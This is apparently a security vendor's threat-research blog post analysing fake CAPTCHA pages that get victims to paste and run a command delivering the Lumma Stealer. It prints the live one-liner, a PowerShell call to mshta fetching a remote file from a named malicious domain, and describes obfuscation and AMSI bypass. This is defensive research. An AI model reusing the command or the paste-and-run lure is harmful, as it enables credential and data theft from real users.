Privia Security was chosen as one of Türkiye's fastest growing companies!
Privia Security was chosen as one of Türkiye's fastest growing companies!
Fake CAPTCHA screens — an attack technique designed to deceive users into downloading and executing malicious software — have been appearing with increasing frequency over the past few years. In the modern internet world, CAPTCHAs (Completely Automated Public Turing test to tell Computers and Humans Apart) that appear in the content offered by websites are one of the specialised solutions developed to distinguish humans from bots.
The aim is to tell humans and bots apart during activities such as user login, file downloads and form completion. However, this security measure against bots has, in today’s internet world, been turned by cyber criminals into a cyber trap using fake websites — an attack technique that targets the weakest link, namely organisation employees.
Fake CAPTCHAs generally appear on fake websites visited to access content, download a file or perform an action.
To make users believe they are responding to a real CAPTCHA, they contain tasks such as “Tick the box to confirm you are not a robot” or “Enter the instructions in the image”. In reality, we see that clicking on the CAPTCHA triggers malicious activities.
According to research by the Privia Security Defence team, fake CAPTCHAs are being combined with a piece of malware called “Lumma Stealer”, targeting unaware users through new techniques developed to evade detection. When malicious code begins running on the system, the cyber attacker gains access to the victim’s credentials, financial data and other sensitive information. We subsequently see that the information seized by cyber attackers is put up for sale on illegal internet forums.
Looking at the behaviour of genuine CAPTCHAs, we see techniques such as image selection, arithmetic operations, matching text in an image, image assembly, puzzles and similar methods used to determine whether you are a bot.
In this attack, however, a different method is used — instead of having the user solve a CAPTCHA, the user is expected to complete the tasks the CAPTCHA presents, and during these operations the aim is to have the system execute malicious code.
In the source code of a fake website we examined, we see that when the fake CAPTCHA is clicked, malicious code is first copied to the system (right-click copy / CTRL+C function).
After this, the victim is presented with tasks to complete, as shown below. However, the purpose of these tasks is to execute the malicious code that has been copied into memory on the system.
As can be seen in the image, for the fake verification steps, the user is first asked to press the Windows + R keys on the keyboard. When the user presses this key combination, the operating system’s “Run” application opens.
In the second step, the user is asked to press CTRL + V. At this point, the malicious code copied to memory is pasted into the Run dialog. In the third and final step, the user is asked to press ENTER to execute the malicious code.
When the user completes this task and presses ENTER, the malicious code copied to the system is executed using PowerShell.
Malicious Code Snippet:
PowerShell.exe -NoProfile -Command mshta.exe https://unome.site/minchkinzangata.xll # ✅ ''I am not a robot - rёCAPTCHA Verification ID: 2188Examining the malicious activity detected by the Privia Security Defence team, it is seen that a connection is established to the command-and-control server — the malicious site — via Mshta.exe using PowerShell.exe. First detected with the alert title Remote HTA File Execution Via PowerShell (Methodology), this IOC alert detects that mshta has been launched by PowerShell to execute a remote hta file. The relevant alert covers the MITRE ATT&CK tactics of command and control, defence evasion and execution, along with techniques (T1059.001, T1105, T1218.005).
During the movement, it was notable that when the malware communicated with the command-and-control server via the minchkinzangata.xll page, it wrote 5 files to the system via PowerShell and accessed 79 registry entries.
When the relevant files were examined, it was found that obfuscated PowerShell commands were used to avoid being detected by antivirus software. These encrypted commands allow EPP and EDR products to be prevented from detecting malicious activity on the system.
Using the files downloaded from the command-and-control server, the encrypted codes are decrypted via PowerShell and then executed on the system. While these commands are being executed, the AMSI Bypass technique is also used on PowerShell in an attempt to evade security products on the system.
In this attack, it was determined that sensitive data was stolen via Lumma Stealer, and the user’s data was seized through the malware they executed on their own system. Research conducted on threat intelligence feeds and malware confirmed that the malicious code belongs to Lumma. It has been observed that cyber criminals who use Lumma to steal data from systems obtain victims’ data through methods such as fake sites and fake CAPTCHA pages, and also sell this data on illegal forums.
Fake CAPTCHAs present themselves as a creative and attention-grabbing piece of social engineering designed to lead the victim — of their own volition and outside the browser — to download and execute malicious software.
Encrypted PowerShell code also serves as an anti-malware technique and an anti-analysis mechanism that evades browser-based cybersecurity controls, downloading malicious software code in the background.
You May Be Interested In These
